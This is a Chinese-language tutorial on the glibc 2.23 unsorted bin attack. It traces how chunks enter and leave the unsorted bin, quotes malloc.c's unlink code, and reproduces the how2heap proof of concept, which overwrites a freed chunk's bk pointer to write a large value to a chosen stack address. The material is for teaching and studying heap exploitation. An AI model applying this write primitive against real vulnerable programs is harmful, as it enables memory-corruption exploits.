how2heap-2.23-05-unsorted_bin_attack

先看看unsorted bin的入链和出链情况

#include 

int main()
{
    char* a = malloc(0x88);
    malloc(0x8);
    char* b = malloc(0x100);
    malloc(0x8);
    free(a);
    free(b);

    char* c = malloc(0x88);
    char* d = malloc(0x100);

    return 0;
}

分配chunk

char* a = malloc(0x88);
malloc(0x8);
char* b = malloc(0x100);
malloc(0x8);

how2heap-2.23-05-unsorted_bin_attack_第1张图片

chunk a释放到 unsorted bin中

how2heap-2.23-05-unsorted_bin_attack_第2张图片

chunk b释放到unsorted bin中

how2heap-2.23-05-unsorted_bin_attack_第3张图片
简化一下(都是指向的chunk头部
how2heap-2.23-05-unsorted_bin_attack_第4张图片
可以看到,最近释放的chunk与unsorted bin头结点相连

  • unsorted bin中的bk指向最旧的chunk
  • unsorted bin中的fd 指向最新的chunk

从unsorted bin中申请回chunk a

当将一个 unsorted bin 取出的时候,会将 bck->fd 的位置写入本 Unsorted Bin 的位置。

          /* remove from unsorted list */
          if (__glibc_unlikely (bck->fd != victim))
            malloc_printerr ("malloc(): corrupted unsorted chunks 3");
          unsorted_chunks (av)->bk = bck;
          bck->fd = unsorted_chunks (av);

unsorted bin attack原理确实是这一块的代码,但是大佬讲的言简意赅,下面我会啰嗦一点的讲。


由于是把chunk a申请回来,则unsorted bin链从如下图
how2heap-2.23-05-unsorted_bin_attack_第5张图片
转变为如下图
how2heap-2.23-05-unsorted_bin_attack_第6张图片

需要修正的是:

  • chunk b fd的内容
  • unsorted bin 头节点bk的内容

在malloc.c源码中_int_malloc函数中,要申请的chunk大小在fastbin,small bin中没有现成的chunk满足时,会整理unsorted bin

  • 先将unsorted bin中的chunk一个一个先脱链(怎么脱链不管),但每次脱链unsorted bin链需要将其剩余的所有chunk的fd,bk修正正常
  • 如果脱链的chunk大小和申请的大小相同,就直接使用
  • 否则放入的small bin或者large bin中

unsorted bin attack就发生在chunk脱链,unsorted bin链表重新整理这一步


下面是正常情况,在当前示例中:victim就是chunk a,bck就是chunk b
(如果victim是chunk b,则 bck就是unsorted bin)

In file: /glibc/2.23/source/malloc/malloc.c
   3468     {
   3469       int iters = 0;
   3470       while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av))
   3471         {
   3472           bck = victim->bk;0// victim是当前检查的chunk,bck是该chunk之后(时间上)放入unsorted bin的chunk
   									 // victim理解为chunk a,bck理解为chunk b3473           if (__builtin_expect (victim->size <= 2 * SIZE_SZ, 0)
   3474               || __builtin_expect (victim->size > av->system_mem, 0))
   3475             malloc_printerr (check_action, "malloc(): memory corruption",
   3476                              chunk2mem (victim), av);
   3477           size = chunksize (victim);

从unsorted bin的bk中,获取最旧的chunk,之后再根据chunk->bk,从最旧到最新开始遍历,尝试在unsorted bin链表中找到合适的chunk


然后chunk a就脱链(怎么脱链,放到哪里的逻辑,在修正的代码之后),unsorted bin和chunk b开始修正其fd,bk,修正的代码就是上面的

          /* remove from unsorted list */
          if (__glibc_unlikely (bck->fd != victim))
            malloc_printerr ("malloc(): corrupted unsorted chunks 3");
          unsorted_chunks (av)->bk = bck;1】
          bck->fd = unsorted_chunks (av);2
  • 【0】bck就是chunk b,是从bck = victim->bk获取到的
  • 【1】unsorted_chunks (av)->bk = bck;,修正unsorted bin头节点的bk
  • 【2】bck->fd = unsorted_chunks (av);,修正chunk b的fd

how2heap-2.23-05-unsorted_bin_attack_第7张图片

如何产生unsorted bin attack

伪造从unsorted bin链中,要脱链chunk的bk
how2heap-2.23-05-unsorted_bin_attack_第8张图片
unsorted bin attack的效果就是在指定的位置,写入unsorted bin头结点的首地址,就是那个所谓的较大的值。

需要注意的是,虚假的chunk fd必须是一个可写的地址


现在再看how2heap的代码就容易理解一些。

#include 
#include 

int main(){
	fprintf(stderr, "This file demonstrates unsorted bin attack by write a large unsigned long value into stack\n");
	fprintf(stderr, "In practice, unsorted bin attack is generally prepared for further attacks, such as rewriting the "
		   "global variable global_max_fast in libc for further fastbin attack\n\n");

	unsigned long stack_var=0;
	fprintf(stderr, "Let's first look at the target we want to rewrite on stack:\n");
	fprintf(stderr, "%p: %ld\n\n", &stack_var, stack_var);

	unsigned long *p=malloc(400);
	fprintf(stderr, "Now, we allocate first normal chunk on the heap at: %p\n",p);
	fprintf(stderr, "And allocate another normal chunk in order to avoid consolidating the top chunk with"
           "the first one during the free()\n\n");
	malloc(500);

	free(p);
	fprintf(stderr, "We free the first chunk now and it will be inserted in the unsorted bin with its bk pointer "
		   "point to %p\n",(void*)p[1]);

	//------------VULNERABILITY-----------

	p[1]=(unsigned long)(&stack_var-2);
	fprintf(stderr, "Now emulating a vulnerability that can overwrite the victim->bk pointer\n");
	fprintf(stderr, "And we write it with the target address-16 (in 32-bits machine, it should be target address-8):%p\n\n",(void*)p[1]);

	//------------------------------------

	malloc(400);
	fprintf(stderr, "Let's malloc again to get the chunk we just free. During this time, the target should have already been "
		   "rewritten:\n");
	fprintf(stderr, "%p: %p\n", &stack_var, (void*)stack_var);
}

你可能感兴趣的:(二进制安全-01-pwn,linux,pwn)